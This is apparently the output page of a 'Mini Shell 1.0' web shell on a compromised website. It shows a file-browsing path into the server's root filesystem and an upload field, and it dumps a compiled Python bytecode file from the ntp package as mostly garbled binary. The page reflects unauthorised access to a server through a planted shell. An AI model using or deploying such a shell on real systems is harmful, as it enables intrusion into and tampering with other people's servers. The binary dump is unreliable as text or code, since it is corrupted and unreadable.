HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/ntp/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/ntp/__pycache__/poly.cpython-311.pyc
�

|�d��`�dZddlZdZdZeeureZeZeZ	e
ZeZe
Zd�ZdSddlZeZd�ZeZd�Z	d�Zd	�Zd
�Zd�Zdejj���krd
Zeej��e_dejj���krd
Zeej��e_dSdS)aHandle bytes and strings in a polyglot fashion.

copied from ../ntpclient/ntpq.py  which got it from
https://gitlab.com/esr/practical-python-porting/blob/master/polystr-inclusion.py
see http://www.catb.org/esr/faqs/practical-python-porting/ for more information.
�Nzlatin-1Fc�,�|�d��S)zString_escape/unicode_escape.�
string_escape)�decode��ss �*/usr/lib/python3/dist-packages/ntp/poly.pyrr-s���x�x��(�(�(�c��t|t��r|St|t��st|��St|t���S)z$Polymorphic string factory function.��encoding)�
isinstance�str�bytes�master_encoding)�os r�polystrr6sI���a����	��H��!�U�#�#�	��q�6�6�M��1��/�/�/�/r	c��t|t��r|St|t��st|��St|t���S)z%Polymorphic string encoding function.r)r
rrrrs r�	polybytesr@sI���a����	��H��!�S�!�!�	���8�8�O��Q��1�1�1�1r	c�N�t|t��rt|��S|S)zPolymorphic ord() function)r
r�ord��cs r�polyordrH�$���a����	��q�6�6�M��Hr	c�N�t|t��rt|��S|S)zPolymorphic chr() function)r
�int�chrrs r�polychrrOrr	c�\�|�t���d��S)z)Polymorphic string_escape/unicode_escape.�unicode_escape)�encoderrrs rrrVs%���x�x��(�(�/�/�0@�A�A�Ar	c�<�tj|jddd���S)z/Standard input/output wrapper factory function.�utf-8�
T)r�newline�line_buffering)�io�
TextIOWrapper�buffer)�streams r�make_std_wrapperr+^s-�����
��(,�T�C�C�C�	Cr	r#T)�__doc__�sysr�forced_utf8rrr�unicode�polyunicoderrrr�	raw_input�	polyinputrr'�inputr+�stdoutr�lower�stderr�r	r�<module>r8sU�����
�
�
���0���%�<�<��G��K��I��G��G��I�)�)�)�)�)�
�I�I�I��I�0�0�0��K�2�2�2�������B�B�B�C�C�C��#�*�%�+�+�-�-�-�-���%�%�c�j�1�1��
��#�*�%�+�+�-�-�-�-���%�%�c�j�1�1��
�
�
�.�-r